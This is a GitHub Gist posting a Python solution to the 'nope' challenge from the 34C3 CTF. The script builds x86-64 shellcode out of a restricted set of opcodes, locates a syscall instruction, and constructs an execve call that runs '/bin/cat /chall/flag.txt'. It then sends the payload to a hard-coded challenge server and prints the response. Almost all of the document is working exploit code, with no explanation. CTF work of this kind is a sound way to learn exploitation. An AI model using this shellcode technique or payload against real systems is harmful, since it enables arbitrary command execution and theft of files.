Created
January 1, 2018 20:29
-
-
Save mkow/051b14da1a5525d4cff250159a659f2c to your computer and use it in GitHub Desktop.
nope challenge solution from 34C3 CTF
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from struct import pack, unpack | |
from sys import stdout, stderr, stdin | |
import socket | |
host = '35.198.126.67' | |
port = 4444 | |
s = socket.create_connection((host, port)) | |
def p64(x): | |
return pack('<Q', x) | |
def nop(): | |
return '\x90' | |
def mov_eax_90909090(): | |
return '\xB8' | |
def xor_eax_90909090(): | |
return '\x35' | |
def sub_al_90(): | |
return '\x2C' | |
def stc(): | |
return '\xF9' | |
def adc_al_90(): | |
return '\x14' | |
def push_rax(): | |
return '\x50' | |
def push_rcx(): | |
return '\x51' | |
def push_rdx(): | |
return '\x52' | |
def push_rbx(): | |
return '\x53' | |
def push_rsp(): | |
return '\x54' | |
def push_rbp(): | |
return '\x55' | |
def push_rsi(): | |
return '\x56' | |
def push_rdi(): | |
return '\x57' | |
def pop_rax(): | |
return '\x58' | |
def pop_rcx(): | |
return '\x59' | |
def pop_rdx(): | |
return '\x5a' | |
def pop_rbx(): | |
return '\x5b' | |
def pop_rsp(): | |
return '\x5c' | |
def pop_rbp(): | |
return '\x5d' | |
def pop_rsi(): | |
return '\x5e' | |
def pop_rdi(): | |
return '\x5f' | |
def stosb(): | |
return '\xaa' | |
def scasb(): | |
return '\xae' | |
def jne_min_70(): | |
return '\x75' | |
def ret(): | |
return '\xC3' | |
def zero_eax(): | |
return mov_eax_90909090() + xor_eax_90909090() | |
def inc_al(): | |
return sub_al_90() + stc() + adc_al_90() | |
def add_al(val): | |
assert 0 <= val <= 255 | |
return inc_al() * val | |
def set_al(val): | |
assert 0 <= val <= 255 | |
return zero_eax() + inc_al() * val | |
def write_rsp(bytes): | |
o = '' | |
o += zero_eax() | |
al = 0 | |
o += push_rsp() | |
o += pop_rdi() | |
for byte in map(ord, bytes): | |
delta = (byte - al) % 256 | |
o += add_al(delta) | |
o += stosb() | |
al = (al + delta) % 256 | |
return o | |
o = '' | |
# Find syscall | |
o += push_rcx() | |
o += pop_rdi() | |
o += set_al(0xe7) | |
o += nop() * 10 | |
o += scasb() | |
o += jne_min_70() | |
o += push_rdi() | |
o += pop_rbp() # rbp = &syscall | |
# Set registers + execve structures | |
#rax = # sc_num | |
#rdi = # path | |
#rsi = # argv | |
rdx = 0 # envp | |
o += write_rsp(p64(rdx) + '/bin/cat\0') | |
o += pop_rdx() | |
o += push_rsp() + pop_rcx() # rcx == argv[0] | |
o += push_rdx() # garbage | |
o += push_rdx() # garbage | |
o += push_rdx() # garbage | |
o += push_rdx() # garbage | |
o += write_rsp('/chall/flag.txt\0') | |
o += push_rsp() + pop_rax() # rax = argv[1] | |
o += push_rcx() + pop_rdi() # rdi = rcx | |
o += push_rdx() # 0 | |
o += push_rax() # argv[1] | |
o += push_rdi() # argv[0] | |
o += push_rsp() + pop_rsi() | |
o += zero_eax() | |
o += set_al(59) | |
# jmp syscall | |
o += push_rbp() | |
o += ret() | |
o += nop()*20 + '\xeb' | |
assert '\xe7' not in o # syscall's first byte (used in scasb) | |
with open('payload.bin', 'wb') as f: | |
f.write(o) | |
s.sendall(o) | |
s.shutdown(socket.SHUT_WR) | |
while True: | |
d = s.recv(1024) | |
if not d: | |
break | |
stdout.write(d) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment